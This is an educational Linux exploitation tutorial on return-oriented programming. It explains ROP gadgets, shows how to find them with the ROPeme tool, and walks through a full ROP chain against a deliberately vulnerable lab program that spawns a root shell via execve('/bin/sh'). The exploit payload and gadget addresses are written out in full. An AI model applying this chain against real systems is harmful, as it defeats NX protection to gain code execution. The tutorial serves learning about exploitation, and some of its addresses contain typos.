Return-Oriented-Programming (ROP FTW)

By Saif El-Sherei

www.elsherei.com

Introduction:

I decided to get a bit more into Linux exploitation, so I thought it would be nice if I document this as a good friend once said " you think you understand something until you try to teach it". This is my first try at writing papers. This paper is my understanding of the subject. I understand it might not be complete I am open for suggestions and modifications. I hope as this project helps others as it helped me. This paper is purely for education purposes.

Please beware that the memory addresses will probably be different on your system.

What is Return-Oriented-Programming?

In our last paper we discussed the ret2libc method. One of the ret2libc defenses is removing the function from the library; ROP doesn't have this weakness in fact we don't even need to call functions to mount an ROP attack. ROP is used to attack against W^X (W xor X) in other words non-executable stack (NX bit). Which disables executing code form stack.

The concept of ROP is simple but tricky. Instead of returning to libc functions we will be utilizing small instruction sequences available in either the binary or libraries linked to the application called gadgets.

There are intended gadgets and unintended gadgets; intended gadgets are instruction sequences that the developer meant for it to be there and unintended as you can imagine are instruction sequences that aren't intended to be there by the developer.

What!!! Unintended how come?? well if you look at a sentence like "the article" the writer intended to say "the article" but he didn't intend to have the word "heart" did he☺.

Basically what we need to do is instead of returning to an address of a function in libc we wil return to these ROP gadgets.

What are ROP gadgets?

ROP gadgets are small instruction sequences ending with a "ret" instruction "c3". Combining these gadgets will enable us to perform certain tasks and in the end conduct our attack as we will see later in this paper.

The ROP gadget has to end with a "ret" to enable us to perform multiple sequences. Hence it is called return oriented.

How to find these gadgets?

Well there is an algorithm to find these gadgets;

1- We search the binary for all “ret” (c3) byte.
2- We go backwards to see if the previous byte contains a valid instruction. We reverse to the maximum number of bytes that can make a valid instruction (20 bytes).
3- We then record all valid instruction sequences found in the binary or linked libraries.

The above is just the theory of finding ROP gadgets there are numerous tools to help you find gadgets. We will demonstrate that later.

What can we do with ROP Gadgets?

Well there are multiple things we can do with gadgets. Basically we can execute any instruction if the right instruction sequence is found. we will try to explain briefly some of the useful gadgets out of them;

- Loading a constant into register:

Loading a constant into register will save a value on stack to a register using the POP instruction for later use.

POP eax; ret;

What this will do is pop the value on the stack to eax and then return to the address on top of stack.

Example:

Address of POP EAX/RET gadget	Top of Stack over written return address POP EAX/Retn
0xdeadbeef	Value that will be popped to eax
Address of next gadget	Address of next gadget so ret returns to it.

So when the return address is overwritten with the address of pop eax/ret sequence it will return to the instruction sequence and pop 0xdeadbeef to EAX register, Then “ret” will return to the address of the next gadget.

- Loading from memory:

Will enable us to load from memory for example the instruction mov ecx,[eax]; ret

Will move the value located in the address stored in eax, to ecx.

- Storing into memory

Will store value in register into a memory location.

Mov [eax],ecx; ret

Will store the value in ecx to the memory address at eax.

- Arithmetic operations:

This ranges from addition, subtraction, multiplication, exclusive or, & AND. And will help us allot executing a useful gadget as you will see.

For example:

add eax,0x0b; ret (will add 0x0b to eax)

xor edx,edx;ret (will zero out edx)

- System call:

System call instruction followed by ret will enable us to execute a kernel interrupt (system call) that we setup using previous gadgets. The system call gadgets are.

- int 0x80; ret
- call gs:[0x10]; ret

- Gadgets to avoid:

There are some gadgets are better to avoid;

- gadgets ending with leave followed by ret basically what leave/ret does is pop ebp; ret. This will mess up our stack frame.
- Gadgets ending in pop ebp followed by ret or have the instruction pop ebp. Will also mess up our stack frame.

Sometimes these gadgets fdont affect the overall execution of ROP shell. It depends on the execution flow and will it be interrupted by changing the frame pointer.

Exploiting Simple Buffer overflow with ROP:

The setup:

The program we are going to exploit:

```
#include <stdio.h>

int main(int argc, char *argv[])

{

        char buf[256];

        memcpy(buf, argv[1],strlen(argv[1]));
```

```
        printf(buf);
}
```

We compile it without using “fno-stack-protector-boundary”, disable ASLR and test the program is working as it should.

```
# echo 0 > /proc/sys/kernel/randomize_va_space
# gcc -mpreferred-stack-boundary=2 so3.c -o rop2
so3.c: In function ‘main’:
so3.c:6:2: warning: incompatible implicit declaration of built-in function ‘memcpy’ [enabled by default]
so3.c:6:22: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default]
# ./rop2 `python -c 'print "A"*260'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF���
# gdb -q rop2
Reading symbols from /root/Desktop/tuts/so/rop2...(no debugging symbols found)...done.
(gdb) r `python -c 'print "A"*260+"B"*4'`
Starting program: /root/Desktop/tuts/so/rop2 `python -c 'print "A"*260+"B"*4'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
```

As you can see above we successfully overwritten the saved return address at 260 bytes.

The tools of the trade:

We are going to use a tool by VNsecurity called ROPeme to help us in finding ROP gadgets in libc file. The tool and a demonstration can be found at this link http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/

Here We Go:

First we will see what libs are linked to the binary.

There are two ways to do this we can wither set a break point at main in gdb and run the program and use "info files" command to see what files are linked to the binary. Like the below

```
(gdb) b *main

Breakpoint 1 at 0x804847c

(gdb) r aaaa

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /root/Desktop/tuts/so/rop2 aaaa


Breakpoint 1, 0x0804847c in main ()

(gdb) info files

Symbols from "/root/Desktop/tuts/so/rop2".

Unix child process:

        Using the running image of child process 28344.

        While running this, GDB does not access memory from...

Local exec file:

        `/root/Desktop/tuts/so/rop2', file type elf32-i386.

        Entry point: 0x8048390

        0x08048134 - 0x08048147 is .interp

        ---snipped

        0x08049704 - 0x08049708 is .bss

        0xb7fe2114 - 0xb7fe2138 is .note.gnu.build-id in /lib/ld-linux.so.2

        ---snipped---

        0xb7fc29a0 - 0xb7fc5978 is .bss in /lib/i386-linux-gnu/i686/cmov/libc.so.6
```

The bolded highlighted files above are the libraries linked to the binary “rop2”

The 2nd method is by using “/proc/pid/maps”; we run the program until we hit the breakpoint at main and through the shell we get the pid of the binary and get the process maps. As below

```
(gdb) shell
root@kali:~/Desktop/tuts/so# ps -aux | grep rop2
warning: bad ps syntax, perhaps a bogus '-'?
See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQ
root     28117  0.0  0.3  13624  7748 pts/2    S+   15:57   0:00 gdb -q rop2
root     28119  0.0  0.0   1704   252 pts/2    t    15:57   0:00 /root/Desktop/tuts/so/rop2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root     28341  0.0  0.3  13548  7552 pts/6    S    16:24   0:00 gdb -q rop2
root     28344  0.0  0.0   1700   244 pts/6    t    16:24   0:00 /root/Desktop/tuts/so/rop2 aaaa
root     28392  0.0  0.0   3484   768 pts/6    S+   16:27   0:00 grep rop2
root@kali:~/Desktop/tuts/so# cat /proc/28119/maps
08048000-08049000 r-xp 00000000 08:01 548883     /root/Desktop/tuts/so/rop2 (deleted)
---snipped---
b7e63000-b7fbf000 r-xp 00000000 08:01 1311258    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fbf000-b7fc0000 ---p 0015c000 08:01 1311258    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fc0000-b7fc2000 r--p 0015c000 08:01 1311258    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fc2000-b7fc3000 rw-p 0015e000 08:01 1311258    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
---snipped---
b7fff000-b8000000 rw-p 0001c000 08:01 1311294    /lib/i386-linux-gnu/ld-2.13.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
b7fff000-b8000000 rw-p 0001c000 08:01 1311294    /lib/i386-linux-gnu/ld-2.13.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
root@kali:~/Desktop/tuts/so# exit
(gdb)
```

I prefer to use the second method because we will need to use the base address of the library. To calculate the real address of the gadgets we find these will be demonstrated later.

Ok let's get the show started.

A simple introduction to ropeme:

We first use one of the scripts available in "ropeme" bundle called "ropshell.py" we run it and see the help.

```
root@kali:~/Desktop/tuts/so/ropeme# ./ropshell.py

Simple ROP interactive shell: [generate, load, search] gadgets

ROPeMe> help

Available commands: type help <command> for detail

  generate      Generate ROP gadgets for binary
  load          Load ROP gadgets from file
  search        Search ROP gadgets
  shell         Run external shell commands
  ^D            Exit


ROPeMe>
```

We then use generate function to generate gadgets from binary or library file. We will use the "libc-2.13.so" file located at "/lib/i386-linux-gnu/i686/cmov/libc-2.13.so" as shown above when we get the linked libraries.

```
ROPeMe> generate /lib/i386-linux-gnu/i686/cmov/libc-2.13.so 4

Generating gadgets for /lib/i386-linux-gnu/i686/cmov/libc-2.13.so with backward depth=4

It may take few minutes depends on the depth and file size...

Processing code block 1/2

Processing code block 2/2

Generated 10915 gadgets

Dumping asm gadgets to file: libc-2.13.so.ggt ...

OK

ROPeMe>
```

The number “4” after the generate command represents the depth of the lookup. The above shows that generation was successful.

We then search for gadgets we want to find using the search function.

```
ROPeMe> search pop  ?

Searching for ROP gadget:  pop ? with constraints: []

0x29d1cL: pop ds ;;

0x29d2fL: pop ds ;;

0x29fd6L: pop ds ;;

---snipped---

0x387cL: pop esp ;;

0x9dad0L: pop esp ;;

--More-- (24/28)

0x10eab9L: pop esp ;;


ROPeMe>
```

In this first demonstration we were searching for any pop instruction the “?” at the end represents that the next instruction should be “ret”. This can be used to search for multiple instructions like “pop ? mov ?” this will search for a “pop r32; mov ; ret” instruction sequence.

```
ROPeMe> search pop  eax %

Searching for ROP gadget:  pop eax % with constraints: []

0x189a4L: pop eax ; add [esi] eax ; add [ebx+0x5d5b08c4] al ;;

0x61c42L: pop eax ; mov [ecx+0xb8] edx ; pop ebx ; pop ebp ;;

---snipped---

0xd8f31L: pop eax ;;

0xd8f52L: pop eax ;;


ROPeMe>
```

In the 2nd demonstration we see that we specified the register and ended the query with “%” which means that any number of following instructions is fine. And the ending instruction will be “ret or leave;ret or pop ebp; ret” .

Exploitation:

Now the first and most important advice I am going to give you is you have to plan what you want to do and actualize the plan in bullet points like my plan below. So we want to run “execve(“/bin/sh”,0,0)”.

As you know that linux system call arguments are put in ebx,ecx,edx,esi,edi respectively. So we will want to load address of string in ebx, the pointer of argp array in ecx, the pointer of envp array in edx. & the number of the function to call in eax.

You have to also know is that the system call number of execve() is “11” or “0xb”

We will find linux system call numbers in “/usr/include/i386-linux-gnu/asm/unistd_32.h “ the “unistd_32.h” is the x86 assembly system call header file.

```
root@kali:~/Desktop/tuts/so# cat /usr/include/i386-linux-gnu/asm/unistd_32.h  | grep execve

#define __NR_execve 11

root@kali:~/Desktop/tuts/so#
```

Now for the plan:

1- zero out eax

2- move pointer to argp array to ecx

3- mov pointer to envp array into edx

4- set ebx to address of "/bin/sh"

6- mov 0xb into eax

5- perfrom syscal

The above was my plan we will see how will we be able to do this with ROP gadgets.

First we will search for an xor eax,eax; ret instruction to zero out eax.

```
ROPeMe> search xor eax eax ?

Searching for ROP gadget:  xor eax eax ? with constraints: []

0x7f448L: xor eax eax ; leave ;;

0x10b090L: xor eax eax ; leave ;;

0x796bfL: xor eax eax ; ret ;;

ROPeMe>
```

The bolded address above is actually an offset of the gadget in the “lib-2.13.c” file so to get the real address we add this offset to the base address of the library file. As mentioned above. The base address of the linked library is “

```
0x796bf+ 0xb7e63000 = 0xB7EDC6BF
```

So the real address of the “xor eax,eax; ret” gadget is “0xB7EDC6BF”

Now we need to save the string “/bin/sh” somewhere in memory and load the address of the string in ebx.

Let’s take it one step at a time. First we will look for a place to write into in memory the best option would be the .data segment. Let’s get the address of the “.data” section in the binary.

```
root@kali:~/Desktop/tuts/so# objdump -D rop2 | grep data

Disassembly of section .rodata:

Disassembly of section .data:

080496fc <__data_start>:
```

The address of the start of the “.data” section is 0x080496fc. we can also get this address using the “info files” command in “GDB”

```
(gdb) info files
Symbols from "/root/Desktop/tuts/so/rop2".
Unix child process:
        Using the running image of child process 28344.
        While running this, GDB does not access memory from...
Local exec file:
        `/root/Desktop/tuts/so/rop2', file type elf32-i386.
        Entry point: 0x8048390
        0x08048134 - 0x08048147 is .interp
        ---snipped---
        0x080496d8 - 0x080496dc is .got
        0x080496dc - 0x080496fc is .got.plt
        0x080496fc - 0x08049704 is .data
        ---snipped---
(gdb)
```

The problem is we are going to write to start of .data section +4 and +8 bytes and 0x080496fc+4 =0x08049700, since we can't have NULL bytes in our buffer we are going to pick another address like 0x08049704.

Ok now we need to figure out a way to get the string "/bin/sh" into the address of the start of the ".data" section.

We need to divide the string into 4 bytes sections so we will have two sections "/bin" and "/sh". But the second part has only 3 bytes and that 4th byte will be a NULL and might interfere with the execution. So what we can do is add a preceeding slash to the 2nd part it wont affect the command "/bin/sh" is as "/bin//sh".

So our 2 parts are "/bin" and "//sh". We can load these two parts in memory location as mentioned above. Through the "mov [r32],r32; ret" instruction sequence. But first we need to store these constants in register using the "pop r32;ret" instruction.

We need to search for the mov instruction first so we can know which registers to use for the pop instructions.

```
ROPeMe> search mov [ eax %

---snipped---

0x29ecfL: mov [eax] ecx ;;
```

We found the mov instruction sequence. With real address

0x29exf+0xb7e63000 = 0xB7E8CECF

Based on the above instruction sequence we need to pop the first part in ecx register and save the memory address to write to in eax. So basically what the previous gadget does is mov the value at ecx register to the memory location pointed to by eax register.

Now we need to find a "pop ecx;ret" gadget to get the first part of our string in ecx. and a "pop eax;ret" gadget to get the memory address we want to write too into eax register.

Let's search for "pop ecx; ret" gadget.

```
ROPeMe> search pop ecx %

Searching for ROP gadget:  pop ecx % with constraints: []

0x3ca61L: pop ecx ; add ecx 0xa ; mov [edx] ecx ;;

0xd8f30L: pop ecx ; pop eax ;;

0xd8f51L: pop ecx ; pop eax ;;

0xe2c02L: pop ecx ; pop ebx ;;

0x2a6ebL: pop ecx ; pop edx ;;

ROPeMe>
```

Whoah!! We are in luck ☺ we actually found a gadget that will execute “pop ecx” and then “pop eax” then “ret”. Which will is exactly what we want. Let’s calculate the reall laddress of this awesome gadget.

```
0xd8f30+0xb7e63000 = 0xB7F3BF30
```

Next we need to find a way to write the NULL bytes at a memory address. Remember we can’t have NULLS in our buffer. So we are going to have to zero out a register and usethe load into memory address gadget to copy these NULL bytes into a memory address. The only gadget sequence I was able to find was the following.

Since we already had an “xor eax,eax;ret” gadget we only needed t look for the “mov [r32], eax;ret” gadget and this is what we found.

```
ROPeMe> search mov % eax

Searching for ROP gadget:  mov % eax with constraints: []

0xf0cffL: mov [0x810001e9] eax ;;

0xdc5ffL: mov [0x81000330] eax ;;

0x2a71cL: mov [edx+0x14] ecx ; mov [edx+0xc] ebp ; mov [edx+0x18] eax ;;

0x2a722L: mov [edx+0x18] eax ;;
```

This instruction will move ax to the memory address located at edx+18, so how will we write to the address we want simple we will write to the address we want -18 if you don’t get it now. Don’t worry it will be much easier when we get to our ROP shellcode dissection section.

For now let’s calculate the real address of this gadget.

```
0x2a722+0xb7e63000 = 0xB7E8D722
```

Now we need the following gadgets “pop ebx”, “pop ecx”, and “pop edx” to load our arguments to the relevant registers.

```
0x78af4L: pop ebx ;;   0x78af4+0xb7e63000 = 0xB7EDBAF4

0x2a6ebL: pop ecx ; pop edx ;; 0x2a6eb+0xb7e63000 = 0xB7E8D6EB
```

This gadget will be to get the syscall number into eax; we need to get “0xb” into eax. If we remember eax is zeroed out. So we can use an arithmetic operation gadget to add 0xb to it and this is what we found.

```
0x7faa8L: add eax 0xb ;;  0x7faa8+0xb7e63000  = 0xB7EE2AA8
```

The final gadget would be the system call not we searched for an “int 0x80” gadget couldn’t find it but we found the other kernel syscall call gd:[0x10]

0xa10f5L: call gs:[0x10] ;; 0xa10f5 + 0xb7e63000 = 0xB7F040F5

So now that we have all the gadgets we need let’s get to our exploit. We know that the return address is overwritten after 260 bytes. Let’s first put all of our gadgets into a nice table. 7 organize all the information we have.

Gadget	addresses
pop ecx ; pop eax ;;	0xB7F3BF30
mov [eax] ecx ;;	0xB7E8CECF
pop edx ;;	0xB7E64A9E
mov [edx+0x18] eax ;;	0xB7E8D722
pop ebx ;;	0xB7EDBAF4
pop ecx ; pop edx ;;	0xB7E8D6EB
xor eax eax ;;	0xB7EDC6BF
add eax 0xb ;;	0xB7EE2AA8
call gs:[0x10] ;;	0xB7F040F5

The address that we are going to write to in the “.data” section 0x08049704.

So our ROP chain should be like this

pop ecx; pop eax;;ret + “/bin”+ address to write to → mov [eax],ecx; ret → xor eax,eax;ret →pop edx;ret → address to write too – 18 → mov [edx+18],eax;ret →pop ecx;pop edx; ret + address of argp array + address of envp array → pop ebx;ret + address of string “/bin//sh” → add eax,0xb;ret → call gs:[0x10].

Our buffer will be

“A”*260 + 0xB7F3BF30 pop ecx ; pop eax; ret

+ “/bin”	string to be popped into ecx
+ 0x08049704	address to be popped into eax to write “/bin” to
+ 0xB7E8CECF	mov [ecx],eax; ret
+ 0xB7F3BF30	pop ecx ; pop eax; ret
+ “//sh”	string to be popped into ecx
+ 0x08049708	address to be popped into eax to write “//sh” to “0x0804971c +4”
+ 0xB7E8CECF	mov [ecx],eax; ret
+ 0xB7EDC6BF	xor eax,eax; ret
+ 0xB7E64A9E	pop edx;ret
+ 0x080496f4	address to write NULL bytes to “0x08049708+4-18”
+ 0xB7E8D722	mov [edx+0x18] eax ;ret
+ 0xB7E8D6EB	pop ecx; pop edx; ret
+ 0x08049712	address of argp array to be loaded into ecx pointing to NULL bytes.
+ 0x08049712	address of envp array to be loaded into edx pointing to NULL bytes.
+ 0xB7EDBAF4	pop ebx ; ret
+ 0x08049704	pointer of string “/bin//sh”
+ 0xB7EE2AA8	add eax 0xb ;ret
+ 0xB7F040F5	call gs:[0x10] ; ret

Now let’s put it together and see if we got a shell. Don’t’ forget we are using little endian architecture so we will have to input the addresses in little endian format

```
./rop2 `python -c 'print "A"*260
+"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"//sh"+"\x08\
x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7"+"\x9e\x4a\xe6\xb7"+"\xf4\x96\x04\x08"+"\x22\
xd7\xe8\xb7"+"\xeb\xd6\xe8\xb7"+"\x12\x97\x04\x08"+"\x12\x97\x04\x08"+"\xf4\xba\xed\xb7"+"\x0
4\x97\x04\x08"+"\xa8\x2a\xee\xb7"+"\xf5\x40\xf0\xb7"'`
```

Let’s give it a try.

```
root@kali:~/Desktop/tuts/so# ./rop2 `python -c 'print "A"*260
+"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"//sh"+"\x08\
x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7"+"\x9e\x4a\xe6\xb7"+"\xf4\x96\x04\x08"+"\x22\
```

```
xd7\xe8\xb7"+"\xeb\xd6\xe8\xb7"+"\x12\x97\x04\x08"+"\x12\x97\x04\x08"+"\xf4\xba\xed\xb7"+"\x0
4\x97\x04\x08"+"\xa8\x2a\xee\xb7"+"\xf5\x40\xf0\xb7"'`

# id

uid=0(root) gid=0(root) groups=0(root)

# ls

ROPgadget a.out core g get getenv.c rop rop2 rop3 ropeme ropeme-bhus10 ropeme-bhus10.tar
rt rt2 rt2.c s so so.c so2 so2.c so3.c wrpr wrpr.c

#
```

We successfully popped our shell using ROP chains.

Dealing with extra instructions:

Sometimes when you are searching for gadgets u will not find suitable ones maybe they have an extra instruction or something let's take an example.

If for instance our first gadget "pop ecx ; pop eax ;;" was "pop ecx ; pop eax ;pop edi;;", we will just enter 4 bytes of padding extra to our buffer to be popped into edi so the first and second gadget of our ROP chain will be

```
`python -c 'print "A"*260
+"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+"SAIF"+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"//sh"
+"\x08\x97\x04\x08"+"SAIF"+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7"….
```

Instead of:

```
`python -c 'print "A"*260
+"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"//sh"+"\x08\
x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7"….
```

The bolded parts above "SAIF" are 4 bytes padding that are going to be popped into edi. And in this case will not interfere with the execution of our chain. And it will continue to execute normally.

Note that this was a simple instruction to handle sometimes you will be face with mov instructions or arithmetic operations in those cases you have to be careful not to interrupt the execution flow of the ROP chains.

References:

- The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) by Hovav Shacha.
- Payload Already Inside: Payload Already Inside: Data re-use for ROP Exploits Data re-use for ROP Exploits by Long Le "vnsecurity.net".